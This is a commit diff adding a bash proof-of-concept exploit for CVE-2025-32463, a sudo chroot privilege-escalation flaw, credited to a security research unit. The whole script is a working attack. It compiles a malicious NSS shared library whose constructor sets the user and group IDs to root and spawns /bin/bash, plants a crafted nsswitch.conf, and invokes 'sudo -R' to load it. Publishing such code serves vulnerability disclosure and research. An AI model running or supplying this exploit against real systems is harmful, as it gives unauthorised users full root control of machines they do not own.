Add PoC for CVE-2025-32463 Sudo chroot EoP

sudo-chwoot.sh

@@ -0,0 +1,27 @@
+#!/bin/bash
+# sudo-chwoot.sh
+# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
+#                  @ Stratascale Cyber Research Unit (CRU)
+STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
+cd ${STAGE?} || exit 1
+
+cat > woot1337.c<<EOF
+#include <stdlib.h>
+#include <unistd.h>
+
+__attribute__((constructor)) void woot(void) {
+  setreuid(0,0);
+  setregid(0,0);
+  chdir("/");
+  execl("/bin/bash", "/bin/bash", NULL);
+}
+EOF
+
+mkdir -p woot/etc libnss_
+echo "passwd: /woot1337" > woot/etc/nsswitch.conf
+cp /etc/group woot/etc
+gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
+
+echo "woot!"
+sudo -R woot woot
+rm -rf ${STAGE?}